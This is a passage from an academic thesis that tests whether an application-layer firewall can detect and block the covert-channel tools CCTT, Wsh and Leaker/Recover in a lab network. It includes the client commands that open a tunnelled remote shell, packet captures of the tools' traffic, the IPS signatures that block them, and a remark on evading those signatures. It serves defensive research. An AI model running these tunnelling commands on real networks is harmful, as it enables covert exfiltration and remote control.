Diagram showing logical topology of test network 
The physical topology diagram shows the ranges in use by the public 
and private networks, as well as the IP addressing of the individual nodes.  
All of the systems used in the test environment were built on top of 
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VMware Workstation 7.0.0.  This allowed for flexible provisioning and 
deployment of machines as needed. 
It should be noted that, while there are newer versions of Ubuntu 
available, the application-layer firewall uses the most current version of 
firewall software available on the market as of the writing of this thesis. 
 
Diagram showing physical topology of test network 
4.2.1 Firewall 
The firewall is a dual-homed, application-layer firewall running a fully-
functional 30-day evaluation of McAfee Enterprise Firewall (formerly 
known as SecureComputing Sidewinder) version 7.0.1.02.  All traffic 
between the public and private segments transparently routes across the 
firewall.  A firewall management station (not shown in the diagram) runs 
Windows XP on the private network, 192.168.111.0/24.  Its sole purpose is 
to run the firewall management tool and provide SSH access to all three 
nodes: firewall, external node, and internal node. 
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4.2.2 Test Nodes 
Both the internal and external test nodes were installed with Ubuntu 8.04 
Desktop.  Static routes are used to point traffic transparently between the 
public and private networks.  The internal node simulates a protected 
client running the client portion of the covert channel tools, while the 
external node simulates a publicly accessible server on the Internet 
running the server portion of the covert channel tools. 
4.3 Setup and Preliminary Configuration 
A basic ruleset was developed on the firewall to allow select Internet 
services such as HTTP, SSL, FTP, Telnet, SSH, DNS, Ping, Realmedia, 
and RTSP outbound while allowing no services inbound.  To rule out 
interference by host-based firewalls on the two test nodes, the firewalls 
were both disabled on the systems.  In addition, various support 
applications such as OpenSSH were installed on the internal and external 
nodes for the author’s convenience. 
Once outbound traffic was tested and working, a basic signature 
called custom_alert was written and uploaded to the firewall in the 
/secureos/ipsdata/user directory.  The custom signature was then 
verified, installed, and activated using the following commands: 
cf ips usig cmd=verify fname=custom_alert 
cf ips usig cmd=install fname=custom_alert 
cf ips reload 
Commands to install custom IPS signature 
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The firewall supports both IDS and IPS with Snort-like signatures using 
Snort version 2.4.4 rules syntax.  For more information on creating custom 
signatures, please see [42].  
4.4 Testing Methodology 
The application-layer firewall supports custom user-defined IDS/IPS 
definitions.  The author will attempt to develop custom signatures to 
block CCTT and Wsh covert channels.  In addition, the author will 
attempt to determine if an application-layer firewall will introduce latency 
that will affect the Leaker/Recover timing channel.  In the event that the 
technology for heuristic-based rules is not available, the author will 
describe how heuristic-based detection could be accomplished in theory on 
a firewall. 
4.5 Expected Results 
Previous research showed that network-layer firewalls neither detect nor 
prevent network-layer or application-layer covert channels.  However, this 
same research showed that application-layer firewalls could prevent 
network-layer covert channels but had limited success in detecting and 
preventing application-layer covert channels out of the box.  Nonetheless, 
it is expected that application-layer firewalls can be tuned, either through 
signatures or heuristics, to detect and prevent covert channels by 
leveraging custom IDS/IPS signatures. 
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Chapter 5:   Experimental Results 
he experiment revealed that all of the covert channel tools could be 
detected using signatures.  However, like the “arms race” associated with 
detecting malware, a number of similar techniques are available such as 
encryption and compression that covert channels can use to make it 
difficult for signatures to detect them. 
5.1 Detection 
While the McAfee application-layer firewall supports Snort version 2.4.4 
rules syntax for custom user-defined signatures, the firewall did not 
support the use of Snort preprocessors or output modules.  As a result, 
there was no way to heuristically analyze the traffic using IDS or IPS 
rules.  However, it is expected that as firewalls more tightly integrate 
IDS/IPS solutions, this capability will eventually come to fruition.  As a 
result, once it does, firewalls will be capable of leveraging heuristic 
techniques to detect covert channels. 
5.1.1 CCTT 
During initial setup and configuration, the application-layer firewall 
denied the CCTT traffic from the internal node to the external node 
because no server input was being requested by the client.  This is out-of-
the-box behavior that occurred because the firewall completely 
T 
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understands the HTTP protocol and performs strict type enforcement to 
ensure that RFC standards are precisely met. 
Apr 25 16:20:56 2010 EDT  f_http_proxy a_proxy t_attack p_major 
pid: 3219 ruid: 0 euid: 0 pgid: 3219 logid: 0 cmd: 'httpp' 
domain: htpp edomain: htpp hostname: proxy.rit.edu 
category: protocol_violation event: unrequested server input 
netsessid: 49f370a80008be00 srcip: 192.168.111.10 srcport: 51832 
srcburb: internal dst_local_port: 8080 protocol: 6 
src_local_port: 0 dstip: 192.168.222.10 dstport: 8080 dstburb: 
external attackip: 192.168.222.10 attackburb: external reason: 
Server input not requested by the client. 
Audit event showing CCTT being dropped from HTTP proxy 
The firewall also exhibits this behavior when CCTT attempts to 
tunnel out over a different protocol such as FTP.  Because the 
application-layer firewall completely understands FTP protocol, it will not 
allow the HTTP POST command when CCTT is associated with FTP 
proxy on port 21/tcp. 
Apr 25 17:22:16 2010 EDT  f_ftp_proxy a_proxy t_attack p_major 
pid: 3197 ruid: 0 euid: 0 pgid: 3197 logid: 0 cmd: 'pftp' domain: 
PFTx edomain: PFTx hostname: proxy.rit.edu category: 
appdef_violation event: denied ftp command netsessid: 
49f37f080009c592 srcip: 192.168.111.10 srcport: 58152 srcburb: 
internal dst_local_port: 21 protocol: 6 
src_local_port: 0 dstip: 192.168.222.10 dstport: 21 dstburb: 
external attackip: 192.168.111.10 attackburb: internal rule_name: 
Internet outbound reason: Denied FTP command: POST.  Data is 
being dropped. 
Audit event showing CCTT being dropped from FTP proxy 
However, the application-layer firewall will allow CCTT on a port 
associated with a generic proxy, in this example 8888/tcp.  This is because 
the generic proxy does not do any protocol-specific checking of the traffic, 
though it will still look at other application-layer characteristics such as 
antivirus, content filtering, and intrusion detection. 
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Apr 25 17:28:43 2010 EDT  f_generic_proxy a_libproxycommon 
t_nettraffic p_major pid: 3232 ruid: 0 euid: 0 pgid: 3232 logid: 
0 cmd: 'tcpgsp' domain: Genx edomain: Genx hostname: 
proxy.rit.edu event: proxy traffic begin service_name: cctt-http2 
netsessid: 49f3808b0003ed67 srcip: 192.168.111.10 srcport: 60605 
srcburb: internal protocol: 6 dstip: 192.168.222.10 dstport: 8888 
dstburb: external rule_name: Internet outbound cache_hit: 0 
request_status: 0 start_time: Sat Apr 25 17:28:43 2010 
Audit event showing CCTT being allowed from generic proxy 
Likewise, if an unstructured protocol such as telnet on port 23/tcp is 
used, the CCTT traffic also is allowed.  The moral is to avoid generic and 
unstructured proxies wherever possible. 
Apr 25 17:25:35 2010 EDT  f_telnet_proxy a_libproxycommon 
t_nettraffic p_major pid: 3205 ruid: 0 euid: 0 pgid: 3205 logid: 
0 cmd: 'tnauthp' domain: Atnx edomain: Atnx hostname: 
proxy.rit.edu event: proxy traffic begin service_name: telnet 
netsessid: 49f37fcf000a76be srcip: 192.168.111.10 srcport: 34388 
srcburb: internal protocol: 6 dstip: 192.168.222.10 dstport: 23 
dstburb: external rule_name: Internet outbound cache_hit: 1 
request_status: 0 start_time: Sat Apr 25 17:25:35 2010 
Audit event showing CCTT being allowed from Telnet proxy 
Once an attacker has successfully selected an open port for the 
CCTT covert channel, he or she would see output similar to the following.  
In this example, CCTT spawns a remote bash shell. 
root@Internal:/# /tmp/cctt-0.1.8/src/cctt -c 192.168.222.10 -f 
/tmp/cctt-0.1.8/docs/confs/http_post2/cl.cf -v -t http_post -d 
8080 
 
CCTT v0.1.7, Copyright (C) 2002,2003 Simon Castro 
CCTT comes with ABSOLUTELY NO WARRANTY; please, look at COPYING 
for more informations. 
 
Cctt - Covert Channel Tunneling Tool - v0.1.8 (29/08, 2003) 
 
After initialisation, Cctt will work in CLIENT Mode (verbose 
mode) : 
  # The configuration file is set to /tmp/cctt-
0.1.8/docs/confs/http_post2/cl.cf. 
  # Connexion to next hop (192.168.222.10:8080) will use the tcp 
protocol. 
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  # Client will ask a shell to the server. 
  # The identification mode is set to clear_ident (key: simsim). 
  # Http mode is used : 
    # Valid data matching URI : '/servlet/upload_data'. 
    # Per connection request number : 50. 
    # Delay (msecs) between each connection : 500. 
    # Maximal data size to add in HTTP data field : 512 bytes. 
    # Hostname used : 'cctt.entreelibre.com'. 
    # Content-type used : 'text/html'. 
    # Top padding is '539' bytes long. 
    # Bottom padding is '202' bytes long. 
    # Top padding file is 49 bytes long. 
    # Bottom padding file is 233 bytes long. 
  # And last, the channel type is set to http_post. 
  # Warning : This functionnality isn't done for this channel 
type ! 
 
Verbose Mode : Client is sending IDENT_KEY in clear mode. 
bash: no job control in this shell 
bash-3.2# hostname 
External 
bash-3.2# 
Successful connection of CCTT tool 
A packet capture performed during the CCTT connection shows the 
default POST /servlet/upload_data command: 
13:30:17.270958 IP (tos 0x0, ttl 64, id 36644, offset 0, flags 
[DF], proto TCP (6), length 500) 192.168.111.10.52944 > 
192.168.222.10.8080: P, cksum 0x1a1e (correct), 
2744356572:2744357020(448) ack 1591318496 win 183 
<nop,nop,timestamp 63832570 4781701> 
 0x0000:  E....$@.@..y..o. 
 0x0010:  ............^... 
 0x0020:  ................ 
 0x0030:  .H..POST./servle 
 0x0040:  t/upload_data.HT 
 0x0050:  TP/1.1.Host:.cct 
 0x0060:  t.entreelibre.co 
 0x0070:  m.Content-Length 
 0x0080:  :.296.Content-Ty 
 0x0090:  pe:.text/html.Pr 
 0x00a0:  oxy-Connection:. 
 0x00b0:  Keep-Alive.Pragm 
 0x00c0:  a:.nocache..I.am 
 0x00d0:  .a.CCTT.client.a 
 0x00e0:  nd.I.am.sending. 
 0x00f0:  arbitrary.datAsi 
 0x0100:  msim1681714If.yo 
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 0x0110:  u.look.on.what's 
 0x0120:  .previous,.you'l 
 0x0130:  l.may.have.a.loo 
 0x0140:  k.on.what.I.real 
 0x0150:  ly.sended..But.r 
 0x0160:  emember,.these.a 
 0x0170:  rbitrary.datas.c 
 0x0180:  ould.have.been.e 
 0x0190:  ncoded.and.that. 
 0x01a0:  these.top.and.bo 
 0x01b0:  ttom.padding.cou 
 0x01c0:  ld.have.been.top 
 0x01d0:  .and.bottom.of.a 
 0x01e0:  n.image.for.exam 
 0x01f0:  ple. 
Captured packet showing CCTT POST syntax 
As a result, a custom IDS/IPS signature could be created that looks 
for CCTT’s POST command.  The example below has been configured by 
the GUI to drop this traffic: 
# Endeavor Snort signature file 
Alert tcp any any -> any any (content:"/servlet/upload_data"; 
activates:1; msg: "HTTP.CCTT.Alert"; per_stream; classtype:misc-
activity; servicecategory:local-1; category:Component; 
useType:IPS; sid:40042510; rev: 1;) 
IPS rule for detecting CCTT tool 
If the user attempts to connect again, CCTT closes without making a 
connection: 
root@Internal:/# /tmp/cctt-0.1.8/src/cctt -c 192.168.222.10 -f 
/tmp/cctt-0.1.8/docs/confs/http_post2/cl.cf -v -t http_post -d 
8080 
 
CCTT v0.1.7, Copyright (C) 2002,2003 Simon Castro 
CCTT comes with ABSOLUTELY NO WARRANTY; please, look at COPYING 
for more informations. 
 
Cctt - Covert Channel Tunneling Tool - v0.1.8 (29/08, 2003) 
 
After initialisation, Cctt will work in CLIENT Mode (verbose 
mode) : 
  # The configuration file is set to /tmp/cctt-
0.1.8/docs/confs/http_post2/cl.cf. 
  # Connexion to next hop (192.168.222.10:8080) will use the tcp 
protocol. 
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  # Client will ask a shell to the server. 
  # The identification mode is set to clear_ident (key: simsim). 
  # Http mode is used : 
    # Valid data matching URI : '/servlet/upload_data'. 
    # Per connection request number : 50. 
    # Delay (msecs) between each connection : 500. 
    # Maximal data size to add in HTTP data field : 512 bytes. 
    # Hostname used : 'cctt.entreelibre.com'. 
    # Content-type used : 'text/html'. 
    # Top padding is '539' bytes long. 
    # Bottom padding is '202' bytes long. 
    # Top padding file is 49 bytes long. 
    # Bottom padding file is 233 bytes long. 
  # And last, the channel type is set to http_post. 
  # Warning : This functionnality isn't done for this channel 
type ! 
 
Verbose Mode : Client is sending IDENT_KEY in clear mode. 
root@Internal:/# 
Unsuccessful connection of CCTT tool 
The firewall audit data shows that the traffic was dropped because it 
matched the user-defined IPS signature called HTTP.CCTT.Alert: 
Apr 25 16:30:58 2010 EDT  f_kernel_ips a_signature_ips t_attack 
p_major pid: 0 ruid: 0 euid: 0 pgid: 0 logid: 0 cmd: 'kernel' 
domain: (null) edomain: (null) hostname: proxy.rit.edu category: 
signature_ips event: Signature IPS reject srcip: 192.168.111.10 
srcport: 56531 dstip: 192.168.222.10 dstport: 8080 protocol: 6 
attackip: 192.168.111.10 attackport: 56531 attackburb: internal 
interface: em1 rule_name: Internet outbound netsessid: 0 ips_sid: 
40042510 ips_classtype: IPS:COMPONENT ips_sig_category: local-1 
ips_signame: HTTP.CCTT.Alert reason: Traffic matched an IPS 
signature and the corresponding network session was dropped by 
sending a TCP reset or an ICMP unreachable message. 
Audit event showing CCTT being dropped 
5.1.2 Wsh 
If an attacker successfully connects with Wsh, he or she would see output 
similar to the following: 
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root@Internal:/# /tmp/wsh-2.2.2/client/wsh-c.pl 
192.168.222.10/cgi-bin/wsh-s.pl KEY 
 
wsh:[/var/www/cgi-bin]# ls -ltr 
total 8 
-rwxr-xr-x 1 root root  172 Apr  6 22:02 test.pl 
-rwxr-xr-x 1 root root 1879 Apr  6 22:08 wsh-s.pl 
 
wsh:[/var/www/cgi-bin]# 
Successful connection of Wsh tool 
A packet capture performed while Wsh connects to the host shows 
the default POST /cgi-bin/wsh-s.pl command: 
11:59:22.003745 IP (tos 0x0, ttl 64, id 26931, offset 0, flags 
[DF], proto TCP (6), length 262) 192.168.111.10.56001 > 
192.168.222.10.80: P, cksum 0x3de2 (correct), 
3070974882:3070975092(210) ack 1238554557 win 183 
<nop,nop,timestamp 62468753 4236238> 
 0x0000:  E...i3@.@..Y..o. 
 0x0010:  .......P..[.I... 
 0x0020:  ....=.........2. 
 0x0030:  .@..POST./cgi-bi 
 0x0040:  n/wsh-s.pl.HTTP/ 
 0x0050:  1.0..Content-Typ 
 0x0060:  e:.application/o 
 0x0070:  ctet-stream..Use 
 0x0080:  r-Agent:.Mozilla 
 0x0090:  /4.0.(compatible 
 0x00a0:  ;.MSIE.6.0;.Wind 
 0x00b0:  ows.98)..Host:.1 
 0x00c0:  92.168.222.10..C 
 0x00d0:  ontent-Length:.3 
 0x00e0:  ..X_KEY:.KEY..Co 
 0x00f0:  nnection:.close. 
 0x0100:  ...pwd 
Captured packet showing Wsh POST syntax 
As a result, a custom IDS/IPS signature could be created that looks 
for Wsh’s POST command.  The example below has been configured by 
the GUI to drop this traffic: 
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# Endeavor Snort signature file 
Alert tcp any any -> any 80 (content:"/cgi-bin/wsh-s.pl"; 
activates:1;msg: "HTTP.Wsh.Alert"; per_stream; classtype:misc-
activity; servicecategory:local-1; category:Component; 
useType:IPS; sid:40041510; rev: 1;) 
IPS rule for detecting Wsh tool 
Once the signature has been applied, the user is unable to connect: 
root@Internal:/# /tmp/wsh-2.2.2/client/wsh-c.pl 
192.168.222.10/cgi-bin/wsh-s.pl KEY 
 
* error: host 192.168.222.10 answer: 
Unsuccessful connection of Wsh tool 
The firewall audit data shows that the traffic was dropped because it 
matched the user-defined IPS signature HTTP.Wsh.Alert. 
Apr 15 23:57:19 2010 EDT  f_kernel_ips a_signature_ips t_attack 
p_major pid: 0 ruid: 0 euid: 0 pgid: 0 logid: 0 cmd: 'kernel' 
domain: (null) edomain: (null) hostname: proxy.rit.edu category: 
signature_ips event: Signature IPS reject srcip: 192.168.111.10 
srcport: 35563 dstip: 192.168.222.10 dstport: 80 protocol: 6 
attackip: 192.168.111.10 attackport: 35563 attackburb: internal 
interface: em1 rule_name: Internet outbound netsessid: 0 ips_sid: 
40041510 ips_classtype: IPS:COMPONENT ips_sig_category: local-1 
ips_signame: HTTP.Wsh.Alert reason: Traffic matched an IPS 
signature and the corresponding network session was dropped by 
sending a TCP reset or an ICMP unreachable message. 
Audit event showing Wsh being dropped 
While it would be trivial to change the covert channel tool to bypass 
the proof-of-concept signature, for example, by changing the name of the 
default binary, wsh-s.pl, to something else, an administrator could respond 
to that change by creating a separate customer signature that looks for 
the X_KEY field being passed in the POST command within the HTTP 
traffic.  If that happened, an attacker might then change the Wsh tool 
(since it is open source) to use a different field name.  In this way, 
signatures for covert channel detection are similar to those for antivirus 
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detection—the ability to detect and the ability to slip past unnoticed 
seesaw back and forth between attacker and defender. 
5.1.3 Leaker/Recover 
During the first attempt of running Leaker/Recover through the 
application-layer firewall, the traffic was dropped because the HTTP 
request did not conform to RFC standards. 
May  7 01:02:20 2009 EDT  f_http_proxy a_proxy t_attack p_major 
pid: 7574 ruid: 0 euid: 0 pgid: 7574 logid: 0 cmd: 'httpp' 
domain: htpp edomain: htpp hostname: proxy.rit.edu category: 
protocol_violation event: malformed request netsessid: 
4a026b5c0003074e srcip: 192.168.111.194 srcport: 53036 srcburb: 
internal dst_local_port: 80 protocol: 6 src_local_port: 0 
dstip: 192.168.222.197 dstport: 80 dstburb: external attackip: 
192.168.111.194 attackburb: internal rule_name: Internet outbound 
reason: Poorly formed request: (null) 
Audit event showing Leaker/Recover traffic being dropped 
Investigation revealed that the HTTP GET method used in the 
Leaker program was incomplete.  While the web server had responded 
loosely, the firewall dropped the traffic and enforced strict compliance. 
GET /first11.html 
Original non-compliant GET request 
In order to make the request compliant, it had to be modified as seen 
below.  Please note that certain elements of the GET request, such as the 
“H” in “Host,” are case sensitive. 
GET /first11.htm HTTP/1.1 
Host: 192.168.222.197 
Modified compliant GET request 
As soon as this was done, the traffic was passed successfully by the 
application-layer firewall: 
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May  9 22:03:10 2009 EDT  f_http_proxy a_proxy t_http_req p_major 
pid: 7574 ruid: 0 euid: 0 pgid: 7574 logid: 0 cmd: 'httpp' 
domain: htpp edomain: htpp hostname: proxy.rit.edu srcip: 
192.168.111.194 dstip: 192.168.222.197 request_command: GET url: 
192.168.222.197/first11.html result_code: 404 
bytes_written_to_client: 469 netsessid: 4a0635de0009af5f 
Audit event showing Leaker/Recover traffic being allowed 
From an application perspective, an attacker would see output 
similar to the following during successful transfer: 
[root@localhost]# java Recover 2000 192.168.222.195 
Using sleepCount = 2000 
Waiting for start signal... 
GET request: startOp.html 
Starting Covert Operations...Log file initially at 1 records. 
Bit 0: 1 
Bit 1: 0 
... 
Bit 30: 1 
Bit 31: 0 
Received bit stream:(in little endian) 
1000001010010010110010101100001 
Received msg: CSIA 
 
[root@localhost]# 
Output showing covert message “CSIA” successfully retrieved 
Like CCTT and Wsh, a custom IDS/IPS signature could be created 
that looks for Leaker’s GET request.  The example below has been 
configured by the GUI to drop this traffic: 
# Endeavor Snort signature file 
Alert tcp any any -> any 80 (content:"GET /first"; activates:1; 
msg: "HTTP.LeakerRecover.Alert"; per_stream; classtype:misc-
activity; servicecategory:local-1; category:Component; 
useType:IPS; sid:40050910; rev: 1;) 
IPS rule for detecting Leaker/Recover tool 
Once the signature has been applied, the user is unable to transfer 
data: 
[root@localhost timing]# java Recover 2000 192.168.222.195 
Using sleepCount = 2000 
Waiting for start signal... 
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GET request: startOp.html 
Starting Covert Operations...Log file initially at 1 records. 
Bit 0: 0 
Bit 1: 0 
Bit 2: 0 
Bit 3: 0 
Bit 4: 0 
... 
Bit 30: 0 
Bit 31: 0 
Received bit stream:(in little endian)  
Received msg:  
 
[root@localhost timing]# 
Unsuccessful data transfer of Leaker/Recover tool 
The firewall audit data shows that the traffic was dropped because it 
matched the user-defined IPS signature HTTP.LeakerRecover.Alert. 
May  9 21:59:24 2009 EDT  f_kernel_ips a_signature_ips t_attack 
p_major pid: 0 ruid: 0 euid: 0 pgid: 0 logid: 0 cmd: 'kernel' 
domain: (null) edomain: (null) hostname: proxy.rit.edu category: 
signature_ips event: Signature IPS reject srcip: 192.168.111.194 
srcport: 47446 dstip: 192.168.222.197 dstport: 80 protocol: 6 
attackip: 192.168.111.194 attackport: 47446 attackburb: internal 
interface: em1 rule_name: Internet outbound netsessid: 0 ips_sid: 
40050910 ips_classtype: IPS:COMPONENT ips_sig_category: local-1 
ips_signame: HTTP.LeakerRecover.Alert reason: Traffic matched an 
IPS signature and the corresponding network session was dropped 
by sending a TCP reset or an ICMP unreachable message. 
Audit event showing Leaker/Recover traffic being dropped 
This demonstrates that if a covert channel is known, it can be 
prevented using perimeter controls even if that channel is timing based.  
For unknown channels, either heuristic-based or behavioral-based 
detection techniques would need to be employed. 
It was observed that the Leaker/Recover covert channel tool was 
typically unreliable under 500 ms and would frequently produce 
transmission errors.  Between 500 ms and 1 sec, the tool was sometimes 
unreliable and would aperiodically produce transmission errors.  When the 
timing interval was over 1 sec, however, the tool rarely produced errors.   
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Screenshot showing garbled transmission with 20 ms interval 
According to [43], the United States government recommends 
introducing “bandwidth-limitation methods” to restrict covert channels 
that cannot be eliminated to 1 bit per second.  However, at this rate, a 16-
digit credit card number could be transmitted in approximately 2 minutes.  
Likewise, 10,000 credit card numbers could be leaked in under 2 weeks. 
One problem with high-bandwidth (1,000-10,000 bits per second [43]) 
timing channels is that they are sensitive to latency and packet loss and 
can be unreliable across the Internet.  In order to simulate Internet 
latency, the Netem tool [44] was used to add 50-75 ms latency to each 
request. 
[root@localhost] tc qdisc change dev eth0 root netem delay 50ms 
Netem command used to simulate Internet latency 
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The screenshot below shows that Netem successfully introduced 
broadband-like Internet latency from the internal node to the external 
node.  This was tested by looking at the round-trip transfer times using 
the ping tool. 
 
Netem command used to simulate Internet latency 
However, as the screenshot below shows, Leaker/Recover was still 
successful even after introducing Internet latency running through an 
application-layer firewall. 
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Successful transfer of data after accounting for Internet latency 
With the transfer interval above 1000 ms, a 50-75 ms delay does not 
appear to be significant enough to introduce transmission error. 
5.2 Prevention 
It is clear from the previous CCTT connection example that an 
application-layer firewall can block certain aspects of application-layer 
covert channels because of its adherence to strict type enforcement.  
However, application-layer firewalls can also be configured to block certain 
features and functionality within the protocol itself.  For example, if a 
company’s security policy allows, an application-layer firewall could be 
configured to deny any HTTP traffic that attempts to perform a POST. 
Apr 25 17:49:12 2010 EDT  f_http_proxy a_proxy t_attack p_minor 
pid: 3219 ruid: 0 euid: 0 pgid: 3219 logid: 0 cmd: 'httpp' 
domain: htpp edomain: htpp hostname: proxy.rit.edu category: 
appdef_violation event: denied method netsessid: 49f38558000e3b5f 
srcip: 192.168.111.10 srcport: 36953 srcburb: internal 
dst_local_port: 80 protocol: 6 src_local_port: 0 dstip: 
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192.168.222.10 dstport: 80 dstburb: external attackip: 
192.168.111.10 attackburb: internal rule_name: Internet outbound 
reason: Request denied.  Method not allowed. information: POST 
Audit event showing Wsh traffic being dropped because POST 
method is not allowed 
Turning off POST would essentially negate the ability for both Wsh and 
CCTT to connect through the firewall.  While turning off POST may not 
be the right answer for most organizations, restricting rarely used features 
within a protocol (such as APPEND, RENAME, SITE, and SMNT for 
FTP) may reduce the attack surface available to other covert channels. 
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Chapter 6:   Conclusions 
6.1 Current Status 
hough application-layer firewalls enjoy only minimum success out of 
the box with covert channels, they can be configured and tuned to detect, 
correct, and prevent application-layer covert channels using custom user-
defined IDS/IPS signatures.  In addition, their protocol awareness gives 
them a natural edge over network-layer firewalls when covert channel 
tools attempt to exploit open ports used by other protocols, such as trying 
to tunnel HTTP commands over FTP ports. 
One of the limitations of signatures is that they cannot predict 
timing or behavioral channels.  However, if the channel is known, 
signatures can be used to block such a covert channel.  If the channel is 
unknown, heuristic-based or behavioral-based techniques would need to be 
used in order to detect these types of covert channels. 
It is expected that next-generation firewalls will have more advanced 
IDS/IPS integrated on box and will be much more capable of 
implementing heuristic-based detection.  In addition, there will be a shift 
from understanding the application-layer to understanding the individual 
applications.  For example, the next generation firewall will be able to 
allow access to Facebook for social networking but will simultaneously be 
able to block productivity distractions on the site such as MafiaWars, a 
Facebook game. 
T 
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6.2 Future Work 
It will be important to raise awareness about covert channels and the risks 
that they present to an organization.  None of the signature definition lists 
reviewed contained specific covert channel definitions.  Once IDS/IPS 
solutions start incorporating these signatures, there will be a need to 
develop additional signatures and heuristics to facilitate detection.  
Finally, additional research will need to be done to determine if 
behavioral-based detection is feasible. 
6.3 Lessons Learned 
While existing firewall IDS/IPS integration supports basic features, some 
of the more advanced features such as preprocessors and output modules 
are not present.  As a result, the firewall IDS/IPS is not yet ready to 
eliminate stand-alone IDS/IPS appliances.  However, it is expected that 
the trend will continue where IDS/IPS will be consolidated onto the 
firewall in much the same way that stand-alone antivirus and content 
filtering have been consolidated. 
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